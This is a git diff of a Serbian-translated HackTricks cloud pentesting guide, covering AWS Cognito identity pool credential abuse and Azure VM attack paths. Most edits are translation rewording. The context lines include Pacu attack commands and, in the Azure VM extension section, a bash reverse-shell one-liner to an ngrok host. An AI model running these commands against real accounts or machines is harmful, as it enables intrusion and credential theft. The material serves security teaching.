diff --git a/src/images/arte.png b/src/images/arte.png index 57f392dbe..388ff8433 100644 Binary files a/src/images/arte.png and b/src/images/arte.png differ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index f311a08c8..89f8b1f64 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -10,7 +10,7 @@ Identity pools igraju ključnu ulogu omogućavajući vašim korisnicima da **dob - Opcije prijave putem društvenih mreža kao što su Facebook, Google, Login with Amazon i Sign in with Apple - Provajderi usklađeni sa OpenID Connect (OIDC) - SAML (Security Assertion Markup Language) provajderi identiteta -- Identiteti autentifikovani od strane developera +- Identiteti koje autentifikuje programer ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -39,17 +39,17 @@ Da biste generisali sesije Identity Pool-a, prvo morate **generisati Identity ID Ovo je **korisno za čuvanje informacija o korisniku** (koji će uvek koristiti isti Identity ID). -Pored toga, usluga **cognito-sync** je usluga koja omogućava **upravljanje i sinhronizaciju ovih informacija** (u skupovima podataka, slanje informacija u tokovima i SNS porukama...). +Štaviše, usluga **cognito-sync** je usluga koja omogućava **upravljanje i sinhronizaciju ovih informacija** (u skupovima podataka, slanje informacija u tokovima i SNS porukama...). ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS framework za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identity pool-a, preuzimljivih uloga u id tokenima, itd. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS okvir za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identitetskog bazena, preuzimljivih uloga u id tokenima itd. Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu. #### Usage -Primer korišćenja cognito\_\_attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identity pool-a i korisničkog pool klijenta: +Primer korišćenja cognito\_\_attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identitetskog bazena i klijenta korisničkog bazena: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients @@ -59,7 +59,7 @@ Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, kl ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identiteta. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identitetskog bazena. #### Instalacija ```bash @@ -75,10 +75,10 @@ Za više informacija proverite https://github.com/padok-team/cognito-scanner ### Neautentifikovani -Jedina stvar koju napadač treba da zna da bi **dobio AWS kredencijale** u Cognito aplikaciji kao neautentifikovani korisnik je **ID identitetskog bazena**, i ovaj **ID mora biti hardkodiran** u web/mobilnoj **aplikaciji** da bi se koristio. ID izgleda ovako: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nije moguće izvršiti bruteforce). +Jedina stvar koju napadač treba da zna da bi **dobio AWS kredencijale** u Cognito aplikaciji kao neautentifikovani korisnik je **ID identitetskog bazena**, i ovaj **ID mora biti hardkodiran** u web/mobilnoj **aplikaciji** da bi se koristio. ID izgleda ovako: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nije moguće izvršiti brute force). > [!TIP] -> **IAM Cognito neautentifikovana uloga kreirana putem** se po defaultu naziva `Cognito_Unauth_Role` +> **IAM Cognito neautentifikovana uloga kreirana putem** se po defaultu zove `Cognito_Unauth_Role` Ako pronađete ID identitetskog bazena hardkodiran i omogućava neautentifikovanim korisnicima, možete dobiti AWS kredencijale sa: ```python @@ -116,7 +116,7 @@ aws cognito-identity get-credentials-for-identity --identity-id -- ### Poboljšan vs Osnovni tok autentifikacije -Prethodna sekcija je pratila **podrazumevani poboljšani tok autentifikacije**. Ovaj tok postavlja **restriktivnu** [**politiku sesije**](../../aws-basic-information/#session-policies) za IAM ulogu generisanu tokom sesije. Ova politika će dozvoliti sesiji da [**koristi usluge sa ove liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (čak i ako je uloga imala pristup drugim uslugama). +Prethodna sekcija je pratila **podrazumevani poboljšani tok autentifikacije**. Ovaj tok postavlja **restriktivnu** [**politiku sesije**](../../aws-basic-information/index.html#session-policies) za IAM ulogu koja je generisana. Ova politika će omogućiti sesiji da [**koristi usluge sa ove liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (čak i ako je uloga imala pristup drugim uslugama). Međutim, postoji način da se to zaobiđe, ako je **Identitetski bazen omogućio "Osnovni (Klasični) Tok"**, korisnik će moći da dobije sesiju koristeći taj tok koji **neće imati tu restriktivnu politiku sesije**. ```bash @@ -135,41 +135,41 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ `Došlo je do greške (InvalidParameterException) prilikom pozivanja operacije GetOpenIdToken: Osnovni (klasični) tok nije omogućen, molimo koristite unapređeni tok.` -Imajući set IAM kredencijala, trebali biste proveriti [koje pristupe imate](../../#whoami) i pokušati da [povećate privilegije](../../aws-privilege-escalation/). +Imajući set IAM kredencijala, trebali biste proveriti [koje pristupe imate](../../index.html#whoami) i pokušati da [povećate privilegije](../../aws-privilege-escalation/index.html). ### Autentifikovani > [!NOTE] > Zapamtite da će **autentifikovani korisnici** verovatno imati **različite dozvole**, pa ako možete **da se prijavite unutar aplikacije**, pokušajte to i dobijte nove kredencijale. -Takođe bi mogli postojati **rolе** dostupne za **autentifikovane korisnike koji pristupaju Identity Pool-u**. +Takođe bi mogle biti dostupne **uloge** za **autentifikovane korisnike koji pristupaju Identity Pool-u**. -Za to možda treba da imate pristup **provajderu identiteta**. Ako je to **Cognito User Pool**, možda možete da iskoristite podrazumevano ponašanje i **napravite novog korisnika sami**. +Za ovo možda ćete morati da imate pristup **provajderu identiteta**. Ako je to **Cognito User Pool**, možda možete iskoristiti podrazumevano ponašanje i **sami kreirati novog korisnika**. > [!TIP] > **IAM Cognito autentifikovana uloga kreirana putem** se podrazumevano naziva `Cognito_Auth_Role` -U svakom slučaju, **sledeći primer** očekuje da ste se već prijavili unutar **Cognito User Pool-a** koji se koristi za pristup Identity Pool-u (ne zaboravite da se drugi tipovi provajdera identiteta takođe mogu konfigurisati). +U svakom slučaju, **sledeći primer** očekuje da ste se već prijavili unutar **Cognito User Pool-a** koji se koristi za pristup Identity Pool-u (ne zaboravite da bi drugi tipovi provajdera identiteta takođe mogli biti konfigurisani).
aws cognito-identity get-id \
---identity-pool-id <identity_pool_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id  \
+--logins cognito-idp..amazonaws.com/=
 
 # Dobijte identity_id iz prethodnog odgovora komande
 aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id  \
+--logins cognito-idp..amazonaws.com/=
 
 
 # U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog User Pool Grupa
 # Koristite --custom-role-arn da dobijete kredencijale za specifičnu ulogu
 aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
-    --custom-role-arn <role_arn> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id  \
+    --custom-role-arn  \
+    --logins cognito-idp..amazonaws.com/=
 
> [!WARNING] -> Moguće je **konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta** preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti **od korisnika** (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istih ili različitih provajdera, možda bi **bilo korisno da se prijavite i pristupite IAM ulogama svih njih**. +> Moguće je **konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta** preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti **od korisnika** (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istih ili različitih provajdera, možda bi **bilo korisno prijaviti se i pristupiti IAM ulogama svih njih**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 01eb41162..547a00077 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -1,4 +1,4 @@ -# Az - Virtuelne Mašine i Mreža +# Az - Virtuelne Mašine & Mreža {{#include ../../../../banners/hacktricks-training.md}} @@ -16,7 +16,7 @@ Azure Virtuelne Mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani n ### Konfiguracije bezbednosti -- **Zone dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja lokalnih prekida ili katastrofa na više zona. +- **Zoni dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja lokalnih prekida ili katastrofa na više zona. - **Tip bezbednosti**: - **Standardna bezbednost**: Ovo je podrazumevani tip bezbednosti koji ne zahteva nikakvu specifičnu konfiguraciju. - **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot i Virtual Trusted Platform Module (vTPM). @@ -39,16 +39,16 @@ Azure Virtuelne Mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani n - Ukupna mreža izlaz je veća od 200GB - VmAvailabilityMetric je manji od 1 - **Monitor zdravlja**: Podrazumevano proverava protokol HTTP na portu 80 -- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne i obrisan (**CanNotDelete** zaključavanje). +- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne može biti obrisan (**CanNotDelete** zaključavanje). - Većina resursa povezanih sa VM-ovima **takođe podržava zaključavanja** kao što su diskovi, snimci... - Zaključavanja se takođe mogu primeniti na **nivoima grupe resursa i pretplate** -## Diskovi i snimci +## Diskovi & snimci -- Moguće je **omogućiti povezivanje diska na 2 ili više VM-ova** +- Moguće je **omogućiti povezivanje diska sa 2 ili više VM-ova** - Podrazumevano je svaki disk **enkriptovan** sa ključem platforme. - Isto važi i za snimke -- Podrazumevano je moguće **deliti disk sa svih mreža**, ali se može i **ograničiti** samo na određene **privatne pristupe** ili **potpuno onemogućiti** javni i privatni pristup. +- Podrazumevano je moguće **deliti disk sa svih mreža**, ali se može **ograničiti** samo na određene **privatne pristupe** ili **potpuno onemogućiti** javni i privatni pristup. - Isto važi i za snimke - Moguće je **generisati SAS URI** (maksimalno 60 dana) za **izvoz diska**, koji se može konfigurisati da zahteva autentifikaciju ili ne - Isto važi i za snimke @@ -76,10 +76,10 @@ Get-AzDisk -Name -ResourceGroupName ## Slike, Galerijske Slike i Tačke Obnavljanja -**VM slika** je šablon koji sadrži operativni sistem, postavke aplikacija i datotečni sistem potrebne za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\ +**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\ Slike se mogu upravljati u **odeljku Slike** u Azure-u ili unutar **Azure compute galerija** koje omogućavaju generisanje **verzija** i **deljenje** slike između različitih korisnika, pa čak i njeno postavljanje kao javne. -**Tačka obnavljanja** čuva konfiguraciju VM-a i **snapshots** aplikacija koji su konzistentni u određenom trenutku **svi upravljani diskovi** povezani sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku. +**Tačka obnavljanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u određenom trenutku koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku. {{#tabs}} {{#tab name="az cli"}} @@ -150,7 +150,7 @@ Iz [**dokumentacije**](https://learn.microsoft.com/en-us/azure/site-recovery/sit Azure Bastion omogućava siguran i neometan **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** pristup vašim virtuelnim mašinama (VM) direktno kroz Azure Portal ili putem jump box-a. Tako što **uklanja potrebu za javnim IP adresama** na vašim VM-ima. -Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` maskom u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**. +Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` mrežnom maskom u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**. Da biste naveli sve Azure Bastion hostove u vašoj pretplati i povezali se sa VM-ima putem njih, možete koristiti sledeće komande: @@ -462,7 +462,7 @@ Moguće je **pokrenuti prilagođene ekstenzije koje izvršavaju prilagođeni kod {{#tabs }} {{#tab name="Linux" }} -- Izvrši reverznu školjku +- Izvrši reverznu ljusku ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -603,13 +603,13 @@ Set-AzVMDscExtension ` Hybrid Runbook Worker -Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija proverite [Automation Accounts service](../az-automation-account/index.html). +Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VMs iz automatskog naloga. Za više informacija proverite [Automation Accounts service](../az-automation-account/index.html). ### VM Applications -Ovo su paketi sa svim **podacima o aplikaciji i skriptama za instalaciju i deinstalaciju** koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VM-ovima. +Ovo su paketi sa svim **podacima o aplikaciji i skriptama za instalaciju i deinstalaciju** koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VMs. ```bash # List all galleries in resource group az sig list --resource-group --output table @@ -622,7 +622,7 @@ Ovo su putanje gde se aplikacije preuzimaju unutar fajl sistema: - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` -Proverite kako da instalirate nove aplikacije u [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) +Proverite kako da instalirate nove aplikacije na [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] > Moguće je **deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima**. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce. @@ -721,17 +721,17 @@ az vm application set \ ### Korisnički podaci -Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**. +Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure-u korisnički podaci se razlikuju od AWS-a i GCP-a jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**. ### Prilagođeni podaci Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim putanjama: -- U **Windows** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se. -- U **Linux** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml` +- U **Windows-u** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se. +- U **Linux-u** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml` - **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućеним podacima - **cloud-init:** Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Može lako izvršiti skriptu jednostavno slanjem samo skripte u prilagođenim podacima. -- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde postavite. +- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde stavite. - Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno. ```bash #!/bin/sh @@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **Pokreni Komandu** -Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VM-ovima**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`. +Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VMs**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} @@ -793,7 +793,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ## Neautentifikovani pristup {{#ref}} -../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md +../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md {{#endref}} ## Post eksploatacija